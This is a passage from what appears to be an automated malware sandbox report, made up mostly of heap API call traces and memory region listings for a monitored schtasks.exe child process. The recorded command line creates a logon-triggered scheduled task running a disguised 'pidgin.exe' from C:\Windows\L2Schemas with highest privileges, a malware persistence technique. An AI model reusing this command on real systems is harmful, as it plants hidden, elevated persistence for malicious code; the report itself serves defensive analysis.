(hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ab30) returned 1 [0112.408] GetProcessHeap () returned 0x26b6b900000 [0112.408] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90ab30) returned 0xe [0112.409] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90ab30) returned 1 [0112.409] GetProcessHeap () returned 0x26b6b900000 [0112.409] GetProcessHeap () returned 0x26b6b900000 [0112.409] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b480) returned 1 [0112.409] GetProcessHeap () returned 0x26b6b900000 [0112.409] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b480) returned 0x20 [0112.409] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b480) returned 1 [0112.409] GetProcessHeap () returned 0x26b6b900000 [0112.409] GetProcessHeap () returned 0x26b6b900000 [0112.409] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b9038f0) returned 1 [0112.409] GetProcessHeap () returned 0x26b6b900000 [0112.409] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b9038f0) returned 0x30 [0112.409] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b9038f0) returned 1 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.410] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b570) returned 1 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.410] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b570) returned 0x20 [0112.410] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b570) returned 1 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.410] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b9046c0) returned 1 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.410] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b9046c0) returned 0x30 [0112.410] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b9046c0) returned 1 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.410] GetProcessHeap () returned 0x26b6b900000 [0112.411] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b9c0) returned 1 [0112.411] GetProcessHeap () returned 0x26b6b900000 [0112.411] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b9c0) returned 0x20 [0112.411] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b9c0) returned 1 [0112.411] GetProcessHeap () returned 0x26b6b900000 [0112.411] GetProcessHeap () returned 0x26b6b900000 [0112.411] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90a9d0) returned 1 [0112.411] GetProcessHeap () returned 0x26b6b900000 [0112.411] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90a9d0) returned 0xe [0112.411] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90a9d0) returned 1 [0112.411] GetProcessHeap () returned 0x26b6b900000 [0112.411] GetProcessHeap () returned 0x26b6b900000 [0112.411] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b660) returned 1 [0112.411] GetProcessHeap () returned 0x26b6b900000 [0112.411] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b660) returned 0x20 [0112.412] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b660) returned 1 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90a8f0) returned 1 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90a8f0) returned 0x16 [0112.412] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90a8f0) returned 1 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b690) returned 1 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b690) returned 0x20 [0112.412] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b690) returned 1 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90abb0) returned 1 [0112.412] GetProcessHeap () returned 0x26b6b900000 [0112.412] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90abb0) returned 0x16 [0112.412] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90abb0) returned 1 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.413] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b7e0) returned 1 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.413] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b7e0) returned 0x20 [0112.413] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b7e0) returned 1 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.413] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b91ab90) returned 1 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.413] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b91ab90) returned 0x82 [0112.413] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b91ab90) returned 1 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.413] GetProcessHeap () returned 0x26b6b900000 [0112.414] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ba80) returned 1 [0112.414] GetProcessHeap () returned 0x26b6b900000 [0112.414] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90ba80) returned 0x20 [0112.414] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90ba80) returned 1 [0112.414] GetProcessHeap () returned 0x26b6b900000 [0112.414] GetProcessHeap () returned 0x26b6b900000 [0112.414] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ab90) returned 1 [0112.414] GetProcessHeap () returned 0x26b6b900000 [0112.414] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90ab90) returned 0xe [0112.414] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90ab90) returned 1 [0112.414] GetProcessHeap () returned 0x26b6b900000 [0112.414] GetProcessHeap () returned 0x26b6b900000 [0112.414] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90bae0) returned 1 [0112.414] GetProcessHeap () returned 0x26b6b900000 [0112.414] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90bae0) returned 0x20 [0112.415] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90bae0) returned 1 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90aa50) returned 1 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90aa50) returned 0xa [0112.415] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90aa50) returned 1 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b5a0) returned 1 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b5a0) returned 0x20 [0112.415] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b5a0) returned 1 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90aab0) returned 1 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.415] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90aab0) returned 0xc [0112.415] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90aab0) returned 1 [0112.415] GetProcessHeap () returned 0x26b6b900000 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b450) returned 1 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b450) returned 0x20 [0112.416] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b450) returned 1 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904840) returned 1 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904840) returned 0x18 [0112.416] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904840) returned 1 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908f00) returned 1 [0112.416] GetProcessHeap () returned 0x26b6b900000 [0112.416] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908f00) returned 0x20 [0112.417] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908f00) returned 1 [0112.417] GetProcessHeap () returned 0x26b6b900000 [0112.417] GetProcessHeap () returned 0x26b6b900000 [0112.417] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b909140) returned 1 [0112.417] GetProcessHeap () returned 0x26b6b900000 [0112.417] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b909140) returned 0x20 [0112.417] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b909140) returned 1 [0112.417] GetProcessHeap () returned 0x26b6b900000 [0112.417] GetProcessHeap () returned 0x26b6b900000 [0112.417] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b909080) returned 1 [0112.417] GetProcessHeap () returned 0x26b6b900000 [0112.417] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b909080) returned 0x20 [0112.417] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b909080) returned 1 [0112.417] GetProcessHeap () returned 0x26b6b900000 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.418] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908fc0) returned 1 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.418] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908fc0) returned 0x20 [0112.418] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908fc0) returned 1 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.418] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904430) returned 1 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.418] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904430) returned 0x18 [0112.418] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904430) returned 1 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.418] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b909050) returned 1 [0112.418] GetProcessHeap () returned 0x26b6b900000 [0112.419] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b909050) returned 0x20 [0112.419] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b909050) returned 1 [0112.419] GetProcessHeap () returned 0x26b6b900000 [0112.419] GetProcessHeap () returned 0x26b6b900000 [0112.419] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b909020) returned 1 [0112.419] GetProcessHeap () returned 0x26b6b900000 [0112.419] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b909020) returned 0x20 [0112.419] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b909020) returned 1 [0112.419] GetProcessHeap () returned 0x26b6b900000 [0112.419] GetProcessHeap () returned 0x26b6b900000 [0112.419] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b909170) returned 1 [0112.419] GetProcessHeap () returned 0x26b6b900000 [0112.419] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b909170) returned 0x20 [0112.420] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b909170) returned 1 [0112.420] GetProcessHeap () returned 0x26b6b900000 [0112.420] GetProcessHeap () returned 0x26b6b900000 [0112.420] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908e70) returned 1 [0112.420] GetProcessHeap () returned 0x26b6b900000 [0112.420] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908e70) returned 0x20 [0112.420] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908e70) returned 1 [0112.420] GetProcessHeap () returned 0x26b6b900000 [0112.420] GetProcessHeap () returned 0x26b6b900000 [0112.420] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b9090e0) returned 1 [0112.420] GetProcessHeap () returned 0x26b6b900000 [0112.420] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b9090e0) returned 0x20 [0112.421] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b9090e0) returned 1 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904450) returned 1 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904450) returned 0x18 [0112.421] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904450) returned 1 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b9090b0) returned 1 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b9090b0) returned 0x20 [0112.421] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b9090b0) returned 1 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.421] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904e80) returned 1 [0112.421] GetProcessHeap () returned 0x26b6b900000 [0112.422] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904e80) returned 0x18 [0112.422] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904e80) returned 1 [0112.422] exit (_Code=0) Thread: id = 145 os_tid = 0x890 Process: id = "12" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x5aff7000" os_pid = "0x1240" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"pidgin\" /sc ONLOGON /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2643 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2644 start_va = 0x28fa6f0000 end_va = 0x28fa76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000028fa6f0000" filename = "" Region: id = 2645 start_va = 0x28fa800000 end_va = 0x28fa9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000028fa800000" filename = "" Region: id = 2646 start_va = 0x144ec790000 end_va = 0x144ec7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec790000" filename = "" Region: id = 2647 start_va = 0x144ec7b0000 end_va = 0x144ec7c4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144ec7b0000" filename = "" Region: id = 2648 start_va = 0x144ec7d0000 end_va = 0x144ec7d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144ec7d0000" filename = "" Region: id = 2649 start_va = 0x144ec7e0000 end_va = 0x144ec7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144ec7e0000" filename = "" Region: id = 2650 start_va = 0x144ec7f0000 end_va = 0x144ec7f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec7f0000" filename = "" Region: id = 2651 start_va = 0x7df5ff970000 end_va = 0x7ff5ff96ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff970000" filename = "" Region: id = 2652 start_va = 0x7ff684280000 end_va = 0x7ff6842a2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684280000" filename = "" Region: id = 2653 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2654 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2655 start_va = 0x144ec800000 end_va = 0x144eca0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec800000" filename = "" Region: id = 2656 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2657 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2658 start_va = 0x144ec790000 end_va = 0x144ec79ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144ec790000" filename = "" Region: id = 2659 start_va = 0x7ff684180000 end_va = 0x7ff68427ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684180000" filename = "" Region: id = 2660 start_va = 0x144ec800000 end_va = 0x144ec8bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2661 start_va = 0x144ec910000 end_va = 0x144eca0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec910000" filename = "" Region: id = 2662 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2663 start_va = 0x28fa770000 end_va = 0x28fa7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000028fa770000" filename = "" Region: id = 2664 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2665 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2666 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2667 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2668 start_va = 0x144eca10000 end_va = 0x144eca8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144eca10000" filename = "" Region: id = 2669 start_va = 0x144ec7a0000 end_va = 0x144ec7a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec7a0000" filename = "" Region: id = 2670 start_va = 0x144eca90000 end_va = 0x144ecbd2fff monitored = 0 entry_point = 0x144ecab8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2675 start_va = 0x144ec8c0000 end_va = 0x144ec8c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec8c0000" filename = "" Region: id = 2676 start_va = 0x144ec8d0000 end_va = 0x144ec8e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2677 start_va = 0x144eca90000 end_va = 0x144ecdc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2680 start_va = 0x144ecdd0000 end_va = 0x144eceacfff monitored = 0 entry_point = 0x144ece2e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2681 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2682 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2683 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2684 start_va = 0x144eca10000 end_va = 0x144eca48fff monitored = 0 entry_point = 0x144eca112f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2685 start_va = 0x144eca80000 end_va = 0x144eca8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144eca80000" filename = "" Region: id = 2686 start_va = 0x144ecdd0000 end_va = 0x144ecf57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144ecdd0000" filename = "" Region: id = 2687 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2688 start_va = 0x144ec8f0000 end_va = 0x144ec8f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec8f0000" filename = "" Region: id = 2689 start_va = 0x144ec900000 end_va = 0x144ec900fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000144ec900000" filename = "" Region: id = 2690 start_va = 0x144ecf60000 end_va = 0x144ed0e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144ecf60000" filename = "" Region: id = 2691 start_va = 0x144ed0f0000 end_va = 0x144ee4effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144ed0f0000" filename = "" Region: id = 2725 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2726 start_va = 0x144eca10000 end_va = 0x144eca10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144eca10000" filename = "" Region: id = 2727 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2728 start_va = 0x144eca20000 end_va = 0x144eca20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000144eca20000" filename = "" Region: id = 2730 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2731 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2743 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: 